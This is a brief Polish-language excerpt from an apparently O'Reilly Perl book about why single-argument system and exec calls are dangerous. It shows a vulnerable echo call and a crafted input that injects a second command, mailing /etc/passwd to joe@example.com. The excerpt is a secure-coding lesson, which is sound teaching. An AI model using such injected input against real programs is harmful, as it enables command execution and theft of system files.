Listowe postacie wywołań system i exec

Jeśli używam wywołań system lub exec z pojedynczym argumentem, Perl szuka w nim metaznaków powłoki. Jeśli znajdzie metaznaki, przekazuje argument do powłoki w celu interpolacji. Wiedząc to, mogę skonstruować polecenie powłoki, które będzie wykonywać jakąś niepożądaną operację. Może mam w programie pozornie nieszkodliwe wywołanie systemowe, na przykład echo:

system( "/bin/echo $message" );

Jako użytkownik programu mogę spreparować takie dane wejściowe, że zmienna $message będzie robić więcej niż tylko dostarczać argument poleceniu echo. Poniższy łańcuch kończy polecenie echo za pomocą średnika i rozpoczyna polecenie mail, które używa przekierowania wejścia:

'Witaj, świecie!'; mail joe@example.com < /etc/passwd ...

Get Perl. Mistrzostwo w programowaniu now with O’Reilly online learning.

O’Reilly members experience live online training, plus books, videos, and digital content from 200+ publishers.